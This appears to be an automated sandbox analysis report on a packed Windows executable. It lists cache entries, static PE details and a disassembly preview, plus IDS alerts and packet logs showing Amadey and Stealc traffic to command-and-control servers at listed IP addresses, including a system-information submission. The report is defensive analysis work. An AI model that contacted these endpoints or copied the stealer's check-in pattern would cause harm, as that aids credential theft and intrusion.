Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (814)
Category:	downloaded
Size (bytes):	819
Entropy (8bit):	5.173054292884306
Encrypted:	false
SSDEEP:	24:5yNMV5YfiwQmuQGBHslgT9lCuABuoB7HHHHHHHYqmffffffo:seV2f3Q1QGKlgZ01BuSEqmffffffo
MD5:	C0F90EE25148EAE2AA647E86BF475BC6
SHA1:	D0580FBA2A312CB17DF310E2066C2DF92F7D82D5
SHA-256:	05AA519A82ED57AC1E7E9E3CEF0DB4F75CB38BEC68F55EAD635D3166507B9B49
SHA-512:	038B8281DDCD35C7967E3A6FAB969FB93A63234745039DF485E16CE9DB32E3294DFC1CE71BBD4278B735D339B63524E5A49AAA2C36A4A7DB98CB236A1B64092B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nhl chicago blackhawks","playstation stars free store credit","social security changes for 2025","spotify wrapped music","usda raw milk bird flu","ding liren world chess championship 2024","snow storm weather forecast","super micro computer nasdaq extension"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134269
Entropy (8bit):	5.442025679610407
Encrypted:	false
SSDEEP:	3072:fTkX33ov7GsG688fJbk/5xnsiLWjwR2i6o:fk3lr6t2/5xnsiawR8o
MD5:	9261F510382B7D47BAF520157FA489D2
SHA1:	64E568CA6F9496FCE01DE145ED130AEA47E1D342
SHA-256:	5B87DFA5795AE644704467255D8E8A79888D0775BE466A32009EF442EFC2D2C5
SHA-512:	7529B3E4887BBFF6C53B6BED1DE9FA9C818B4BAFF562BECD626CECB1EDADDDE69CEADD1B061F4E55A9A8E371DFA28E04CB35EE0E2891F5784FED738AB969978A
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946232919348294
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'824'256 bytes
MD5:	ba177a2ef8336daa29fcb4302054eb37
SHA1:	944701f5db900b06c1df014df31b0beba772468b
SHA256:	3e0ac437238d31e092b17484d03555f2501f761e4d1fdee138f848e3c41e3aa9
SHA512:	20371383668eea7a021b3b38db05f4c90263b2b34cec9298abe78b91d0d836f15d9068a0abf3ba96d8f2e25b43028e1955c3766c22210794e970c9fda00f75c1
SSDEEP:	49152:trrWGoa632YIFzUri6r5W0vbJ81Soo/P/cF:Fq7GFzBQdd8UD0F
TLSH:	D885330C9DF028FCFA4C58B402DB6168EF7CBA5D6DCBA2B99F0756644867D09343C9A4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA328B16BFAh
lfs ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	329d59068bdd31af34925e276d3c2af3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	73628c2d476c288e6da2897df1469ba1	False	0.580078125	data	4.510708149146225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b2000	0x200	b2e2e13d6fae07cd52d020b955ee7462	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jimnplje	0x4fe000	0x1a4000	0x1a3200	d4f1077afdce9cb6003c21f834f58b6a	False	0.995089518714584	data	7.955093016033942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tazojzsu	0x6a2000	0x1000	0x400	117ff14dfe58565959a36ee08f9a071e	False	0.8388671875	data	6.428377946108237	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a3000	0x3000	0x2200	da1e1900d1cd2333e8c6874688201b10	False	0.06295955882352941	DOS executable (COM)	0.7796028399323583	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a1004	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-07T22:39:58.821974+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50009	TCP
2024-12-07T22:40:08.800326+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-07T22:40:09.244728+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-07T22:40:09.365650+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49707	TCP
2024-12-07T22:40:09.713234+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-07T22:40:09.835304+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49707	TCP
2024-12-07T22:40:11.172466+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-07T22:40:12.211945+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-07T22:40:38.467202+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:40.505256+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:41.776749+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:42.876337+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:46.353576+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:47.409961+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49790	185.215.113.206	80	TCP
2024-12-07T22:40:52.995560+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.16	80	TCP
2024-12-07T22:42:05.767045+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50001	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 22:39:58.821974039 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:58.822638988 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:39:58.822705030 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:39:58.942192078 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:58.942257881 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:58.942270041 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:58.942382097 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:58.942420006 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.397346973 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.397368908 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.397382975 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.397470951 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:39:59.397625923 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.397640944 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.397680998 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:39:59.400214911 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.400265932 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:39:59.400314093 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.408663034 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.408685923 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.408721924 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:39:59.417011976 CET	443	49705	40.126.53.7	192.168.2.6
Dec 7, 2024 22:39:59.417071104 CET	49705	443	192.168.2.6	40.126.53.7
Dec 7, 2024 22:40:00.058373928 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.058624983 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.064987898 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.064999104 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.065249920 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.066457987 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.066512108 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.066518068 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.066613913 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.107338905 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.635699034 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.635799885 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.635865927 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.635979891 CET	49706	443	192.168.2.6	20.198.119.84
Dec 7, 2024 22:40:00.636002064 CET	443	49706	20.198.119.84	192.168.2.6
Dec 7, 2024 22:40:00.840467930 CET	49673	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:00.840470076 CET	49674	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:01.168574095 CET	49672	443	192.168.2.6	173.222.162.64
Dec 7, 2024 22:40:06.890958071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:07.010888100 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:07.010978937 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:07.011670113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:07.131191969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:07.976341009 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:07.976377010 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:07.976469994 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:07.977180958 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:07.977185965 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:08.343576908 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:08.345242023 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:08.349446058 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:08.468976974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:08.800275087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:08.800326109 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:08.804804087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:08.924411058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.244663954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.244687080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.244728088 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.244770050 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.246165037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.316215992 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:09.316251040 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:09.316319942 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:09.317029953 CET	49709	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:09.317035913 CET	443	49709	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:09.365649939 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713107109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713233948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.713272095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713284969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713321924 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.713546991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713578939 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713591099 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:09.713809013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.715770960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:09.835304022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.154582977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:10.154655933 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:10.171752930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:10.171871901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:10.222745895 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.222899914 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:10.230185986 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:10.230207920 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.230436087 CET	443	49708	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:10.232738972 CET	49708	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:10.232799053 CET	49708	443	192.168.2.6	20.198.118.190
